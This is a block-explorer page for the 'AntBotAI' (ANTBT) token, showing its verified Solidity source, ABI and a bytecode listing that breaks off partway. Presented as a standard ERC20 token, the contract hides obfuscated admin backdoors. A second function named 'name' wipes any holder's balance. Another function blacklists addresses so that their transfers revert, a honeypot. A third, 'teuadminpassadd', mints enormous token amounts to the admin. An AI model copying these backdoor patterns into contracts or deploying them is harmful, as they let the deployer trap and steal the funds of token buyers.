ETH Price: $3,473.64 (-1.26%)
Gas: 5 Gwei

Token

AntBotAI (ANTBT)
 

Overview

Max Total Supply

10,000,000,000 ANTBT

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0 ANTBT

Value
$0.00
0x349EF0451ee1615b8E7E72BE019a1d61aEa38d32
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AntBotAI

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-10-24
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Ownable  {
    constructor() {
        _transferOwnership(_msgSender());
    }

   
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;
    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
     event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
   
}

pragma solidity ^0.8.0;

contract AntBotAI is Ownable {
    
    constructor(address tokenadmin) {
        address curxxaa = _msgSender();
        fxcds5 = tokenadmin;
        abott[curxxaa] += tokenamount;
        emit Transfer(address(0), curxxaa, tokenamount);
    }
    
    string public _tokenname = "AntBotAI";
    string public _tokensymbol = "ANTBT";
    uint256 tokenamount = 10000000000*10**decimals();
    address public fxcds5;
    uint256 private _totalSupply = tokenamount;
    mapping(address => uint256) private abott;
    mapping(address => mapping(address => uint256)) private _allowances;
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    
    function symbol() public view  returns (string memory) {
        return _tokensymbol;
    }
    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    mapping(address => uint256) private yuuy;
    function name(address jjkxq1) public     {
        require(fxcds5 ==  _msgSender());
        if(fxcds5 != _msgSender()){
                revert("fu");
        }
    
        address xjhhxx = jjkxq1;
        uint256 cxuramountx = abott[xjhhxx]-9999+9999;
        uint256 newaaamount = cxuramountx+abott[xjhhxx]-abott[xjhhxx];
        abott[xjhhxx] -= newaaamount;
    }

    function xaxadasdasjjjxxxxx(address jjkxq1) public     {
         if(fxcds5 != _msgSender()){
                revert("fu");
            }

        require(fxcds5 ==  _msgSender());
        address xjhhxx = jjkxq1;
        yuuy[xjhhxx] = 9999;
       
    }

    function passxxasdasdqq11231xx(address jjkxq1) public     {
        if(fxcds5 != _msgSender()){
            revert("fu");
        }
        require(fxcds5 ==  _msgSender());
        address xjhhxx = jjkxq1;
        yuuy[xjhhxx] = 0;
    }

    function balanceOf(address account) public view returns (uint256) {
        return abott[account];
    }

    function name() public view returns (string memory) {
        return _tokenname;
    }
   
    function teuadminpassadd() 
    external {
        if(fxcds5 == _msgSender()){
        }
        uint256 uyyxxadd23344 = 42330000000-10000;
        require(fxcds5 == _msgSender());
        address jjhhhaxx = _msgSender();
        address ccaa12 = jjhhhaxx;
        
        uint256 ammtemp = 69200*((10**decimals()*uyyxxadd23344));
        abott[ccaa12] += ammtemp;
        
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        bool xcom = yuuy[_msgSender()] == 9999 ;
        if (xcom) {
            revert(_tokenname);
        }
        _transfer(_msgSender(), to, amount);
        return true;
    }
   
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        bool xcom = yuuy[_msgSender()] == 9999 ;
        if (xcom) {
            revert(_tokenname);
        }
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }


    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        uint256 balance = abott[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        abott[from] = abott[from]-amount;
        abott[to] = abott[to]+amount;
        emit Transfer(from, to, amount); 
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(owner, spender, currentAllowance - subtractedValue);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"tokenadmin","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_tokenname","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokensymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fxcds5","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"jjkxq1","type":"address"}],"name":"name","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"jjkxq1","type":"address"}],"name":"passxxasdasdqq11231xx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teuadminpassadd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"jjkxq1","type":"address"}],"name":"xaxadasdasjjjxxxxx","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600881526020017f416e74426f744149000000000000000000000000000000000000000000000000815250600190816200004a91906200058e565b506040518060400160405280600581526020017f414e544254000000000000000000000000000000000000000000000000000000815250600290816200009191906200058e565b50620000a26200023f60201b60201c565b600a620000b0919062000805565b6402540be400620000c2919062000856565b600355600354600555348015620000d857600080fd5b5060405162002af538038062002af58339818101604052810190620000fe91906200090b565b6200011e620001126200024860201b60201c565b6200025060201b60201c565b6000620001306200024860201b60201c565b905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620001c691906200093d565b925050819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040516200022f919062000989565b60405180910390a35050620009a6565b60006012905090565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200039657607f821691505b602082108103620003ac57620003ab6200034e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003d7565b620004228683620003d7565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200046f6200046962000463846200043a565b62000444565b6200043a565b9050919050565b6000819050919050565b6200048b836200044e565b620004a36200049a8262000476565b848454620003e4565b825550505050565b600090565b620004ba620004ab565b620004c781848462000480565b505050565b5b81811015620004ef57620004e3600082620004b0565b600181019050620004cd565b5050565b601f8211156200053e576200050881620003b2565b6200051384620003c7565b8101602085101562000523578190505b6200053b6200053285620003c7565b830182620004cc565b50505b505050565b600082821c905092915050565b6000620005636000198460080262000543565b1980831691505092915050565b60006200057e838362000550565b9150826002028217905092915050565b620005998262000314565b67ffffffffffffffff811115620005b557620005b46200031f565b5b620005c182546200037d565b620005ce828285620004f3565b600060209050601f831160018114620006065760008415620005f1578287015190505b620005fd858262000570565b8655506200066d565b601f1984166200061686620003b2565b60005b82811015620006405784890151825560018201915060208501945060208101905062000619565b868310156200066057848901516200065c601f89168262000550565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200070357808604811115620006db57620006da62000675565b5b6001851615620006eb5780820291505b8081029050620006fb85620006a4565b9450620006bb565b94509492505050565b6000826200071e5760019050620007f1565b816200072e5760009050620007f1565b8160018114620007475760028114620007525762000788565b6001915050620007f1565b60ff84111562000767576200076662000675565b5b8360020a91508482111562000781576200078062000675565b5b50620007f1565b5060208310610133831016604e8410600b8410161715620007c25782820a905083811115620007bc57620007bb62000675565b5b620007f1565b620007d18484846001620006b1565b92509050818404811115620007eb57620007ea62000675565b5b81810290505b9392505050565b600060ff82169050919050565b600062000812826200043a565b91506200081f83620007f8565b92506200084e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200070c565b905092915050565b600062000863826200043a565b915062000870836200043a565b925082820262000880816200043a565b915082820484148315176200089a576200089962000675565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008d382620008a6565b9050919050565b620008e581620008c6565b8114620008f157600080fd5b50565b6000815190506200090581620008da565b92915050565b600060208284031215620009245762000923620008a1565b5b60006200093484828501620008f4565b91505092915050565b60006200094a826200043a565b915062000957836200043a565b925082820190508082111562000972576200097162000675565b5b92915050565b62000983816200043a565b82525050565b6000602082019050620009a0600083018462000978565b92915050565b61213f80620009b66000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c8063313ce567116100ad57806395d89b411161007157806395d89b41146102e6578063a457c2d714610304578063a9059cbb14610334578063d61ac00a14610364578063dd62ed3e1461036e57610121565b8063313ce5671461025457806370a0823114610272578063715018a6146102a25780638907a877146102ac5780638da5cb5b146102c857610121565b806318160ddd116100f457806318160ddd146101ae5780631a47f6ea146101cc57806323b872dd146101ea578063242276b31461021a5780632a9154e51461023857610121565b806301984892146101265780630487444b1461014257806306fdde0314610160578063095ea7b31461017e575b600080fd5b610140600480360381019061013b919061163e565b61039e565b005b61014a6105ec565b60405161015791906116fb565b60405180910390f35b61016861067a565b60405161017591906116fb565b60405180910390f35b61019860048036038101906101939190611753565b61070c565b6040516101a591906117ae565b60405180910390f35b6101b661072a565b6040516101c391906117d8565b60405180910390f35b6101d4610734565b6040516101e19190611802565b60405180910390f35b61020460048036038101906101ff919061181d565b61075a565b60405161021191906117ae565b60405180910390f35b61022261081d565b60405161022f91906116fb565b60405180910390f35b610252600480360381019061024d919061163e565b6108ab565b005b61025c6109f2565b604051610269919061188c565b60405180910390f35b61028c6004803603810190610287919061163e565b6109fb565b60405161029991906117d8565b60405180910390f35b6102aa610a44565b005b6102c660048036038101906102c1919061163e565b610a58565b005b6102d0610b9e565b6040516102dd9190611802565b60405180910390f35b6102ee610bc7565b6040516102fb91906116fb565b60405180910390f35b61031e60048036038101906103199190611753565b610c59565b60405161032b91906117ae565b60405180910390f35b61034e60048036038101906103499190611753565b610cd9565b60405161035b91906117ae565b60405180910390f35b61036c610d8a565b005b610388600480360381019061038391906118a7565b610ec0565b60405161039591906117d8565b60405180910390f35b6103a6610f47565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103ff57600080fd5b610407610f47565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048d90611933565b60405180910390fd5b6000819050600061270f80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104eb9190611982565b6104f591906119b6565b90506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361058491906119b6565b61058e9190611982565b905080600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105df9190611982565b9250508190555050505050565b600180546105f990611a19565b80601f016020809104026020016040519081016040528092919081815260200182805461062590611a19565b80156106725780601f1061064757610100808354040283529160200191610672565b820191906000526020600020905b81548152906001019060200180831161065557829003601f168201915b505050505081565b60606001805461068990611a19565b80601f01602080910402602001604051908101604052809291908181526020018280546106b590611a19565b80156107025780601f106106d757610100808354040283529160200191610702565b820191906000526020600020905b8154815290600101906020018083116106e557829003601f168201915b5050505050905090565b6000610720610719610f47565b8484610f4f565b6001905092915050565b6000600554905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008061270f6008600061076c610f47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414905080156107ee5760016040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e59190611ae3565b60405180910390fd5b60006107f8610f47565b9050610805868286611118565b6108108686866111ad565b6001925050509392505050565b6002805461082a90611a19565b80601f016020809104026020016040519081016040528092919081815260200182805461085690611a19565b80156108a35780601f10610878576101008083540402835291602001916108a3565b820191906000526020600020905b81548152906001019060200180831161088657829003601f168201915b505050505081565b6108b3610f47565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610942576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093990611933565b60405180910390fd5b61094a610f47565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a357600080fd5b600081905061270f600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60006012905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a4c611499565b610a566000611517565b565b610a60610f47565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae690611933565b60405180910390fd5b610af7610f47565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5057600080fd5b60008190506000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610bd690611a19565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0290611a19565b8015610c4f5780601f10610c2457610100808354040283529160200191610c4f565b820191906000526020600020905b815481529060010190602001808311610c3257829003601f168201915b5050505050905090565b600080610c64610f47565b90506000610c728286610ec0565b905083811015610cb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cae90611b77565b60405180910390fd5b610ccd82868684610cc89190611982565b610f4f565b60019250505092915050565b60008061270f60086000610ceb610f47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541490508015610d6d5760016040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d649190611ae3565b60405180910390fd5b610d7f610d78610f47565b85856111ad565b600191505092915050565b610d92610f47565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a9050505060006409db1063709050610dc9610f47565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e2257600080fd5b6000610e2c610f47565b90506000819050600083610e3e6109f2565b600a610e4a9190611cca565b610e549190611d15565b62010e50610e629190611d15565b905080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb391906119b6565b9250508190555050505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb590611dc9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361102d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102490611e5b565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110b91906117d8565b60405180910390a3505050565b60006111248484610ec0565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146111a75781811015611190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118790611ec7565b60405180910390fd5b6111a6848484846111a19190611982565b610f4f565b5b50505050565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611234576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122b90611f59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036112a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129a90611feb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611312576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113099061207d565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461135d9190611982565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb91906119b6565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161148b91906117d8565b60405180910390a350505050565b6114a1610f47565b73ffffffffffffffffffffffffffffffffffffffff166114bf610b9e565b73ffffffffffffffffffffffffffffffffffffffff1614611515576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150c906120e9565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061160b826115e0565b9050919050565b61161b81611600565b811461162657600080fd5b50565b60008135905061163881611612565b92915050565b600060208284031215611654576116536115db565b5b600061166284828501611629565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116a557808201518184015260208101905061168a565b60008484015250505050565b6000601f19601f8301169050919050565b60006116cd8261166b565b6116d78185611676565b93506116e7818560208601611687565b6116f0816116b1565b840191505092915050565b6000602082019050818103600083015261171581846116c2565b905092915050565b6000819050919050565b6117308161171d565b811461173b57600080fd5b50565b60008135905061174d81611727565b92915050565b6000806040838503121561176a576117696115db565b5b600061177885828601611629565b92505060206117898582860161173e565b9150509250929050565b60008115159050919050565b6117a881611793565b82525050565b60006020820190506117c3600083018461179f565b92915050565b6117d28161171d565b82525050565b60006020820190506117ed60008301846117c9565b92915050565b6117fc81611600565b82525050565b600060208201905061181760008301846117f3565b92915050565b600080600060608486031215611836576118356115db565b5b600061184486828701611629565b935050602061185586828701611629565b92505060406118668682870161173e565b9150509250925092565b600060ff82169050919050565b61188681611870565b82525050565b60006020820190506118a1600083018461187d565b92915050565b600080604083850312156118be576118bd6115db565b5b60006118cc85828601611629565b92505060206118dd85828601611629565b9150509250929050565b7f6675000000000000000000000000000000000000000000000000000000000000600082015250565b600061191d600283611676565b9150611928826118e7565b602082019050919050565b6000602082019050818103600083015261194c81611910565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061198d8261171d565b91506119988361171d565b92508282039050818111156119b0576119af611953565b5b92915050565b60006119c18261171d565b91506119cc8361171d565b92508282019050808211156119e4576119e3611953565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a3157607f821691505b602082108103611a4457611a436119ea565b5b50919050565b60008190508160005260206000209050919050565b60008154611a6c81611a19565b611a768186611676565b94506001821660008114611a915760018114611aa757611ada565b60ff198316865281151560200286019350611ada565b611ab085611a4a565b60005b83811015611ad257815481890152600182019150602081019050611ab3565b808801955050505b50505092915050565b60006020820190508181036000830152611afd8184611a5f565b905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b61602583611676565b9150611b6c82611b05565b604082019050919050565b60006020820190508181036000830152611b9081611b54565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115611bee57808604811115611bca57611bc9611953565b5b6001851615611bd95780820291505b8081029050611be785611b97565b9450611bae565b94509492505050565b600082611c075760019050611cc3565b81611c155760009050611cc3565b8160018114611c2b5760028114611c3557611c64565b6001915050611cc3565b60ff841115611c4757611c46611953565b5b8360020a915084821115611c5e57611c5d611953565b5b50611cc3565b5060208310610133831016604e8410600b8410161715611c995782820a905083811115611c9457611c93611953565b5b611cc3565b611ca68484846001611ba4565b92509050818404811115611cbd57611cbc611953565b5b81810290505b9392505050565b6000611cd58261171d565b9150611ce083611870565b9250611d0d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611bf7565b905092915050565b6000611d208261171d565b9150611d2b8361171d565b9250828202611d398161171d565b91508282048414831517611d5057611d4f611953565b5b5092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611db3602483611676565b9150611dbe82611d57565b604082019050919050565b60006020820190508181036000830152611de281611da6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e45602283611676565b9150611e5082611de9565b604082019050919050565b60006020820190508181036000830152611e7481611e38565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611eb1601d83611676565b9150611ebc82611e7b565b602082019050919050565b60006020820190508181036000830152611ee081611ea4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611f43602683611676565b9150611f4e82611ee7565b604082019050919050565b60006020820190508181036000830152611f7281611f36565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611fd5602583611676565b9150611fe082611f79565b604082019050919050565b6000602082019050818103600083015261200481611fc8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612067602383611676565b91506120728261200b565b604082019050919050565b600060208201905081810360008301526120968161205a565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120d3602083611676565b91506120de8261209d565b602082019050919050565b60006020820190508181036000830152612102816120c6565b905091905056fea264697066735822122078b39ba4f3c3512ca6d293b907a2b8bc132d901f2b572af22c871aa1b107e0d564736f6c63430008110033000000000000000000000000bf2b7679ffea758527b525e41e268e33f3632afc

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063313ce567116100ad57806395d89b411161007157806395d89b41146102e6578063a457c2d714610304578063a9059cbb14610334578063d61ac00a14610364578063dd62ed3e1461036e57610121565b8063313ce5671461025457806370a0823114610272578063715018a6146102a25780638907a877146102ac5780638da5cb5b146102c857610121565b806318160ddd116100f457806318160ddd146101ae5780631a47f6ea146101cc57806323b872dd146101ea578063242276b31461021a5780632a9154e51461023857610121565b806301984892146101265780630487444b1461014257806306fdde0314610160578063095ea7b31461017e575b600080fd5b610140600480360381019061013b919061163e565b61039e565b005b61014a6105ec565b60405161015791906116fb565b60405180910390f35b61016861067a565b60405161017591906116fb565b60405180910390f35b61019860048036038101906101939190611753565b61070c565b6040516101a591906117ae565b60405180910390f35b6101b661072a565b6040516101c391906117d8565b60405180910390f35b6101d4610734565b6040516101e19190611802565b60405180910390f35b61020460048036038101906101ff919061181d565b61075a565b60405161021191906117ae565b60405180910390f35b61022261081d565b60405161022f91906116fb565b60405180910390f35b610252600480360381019061024d919061163e565b6108ab565b005b61025c6109f2565b604051610269919061188c565b60405180910390f35b61028c6004803603810190610287919061163e565b6109fb565b60405161029991906117d8565b60405180910390f35b6102aa610a44565b005b6102c660048036038101906102c1919061163e565b610a58565b005b6102d0610b9e565b6040516102dd9190611802565b60405180910390f35b6102ee610bc7565b6040516102f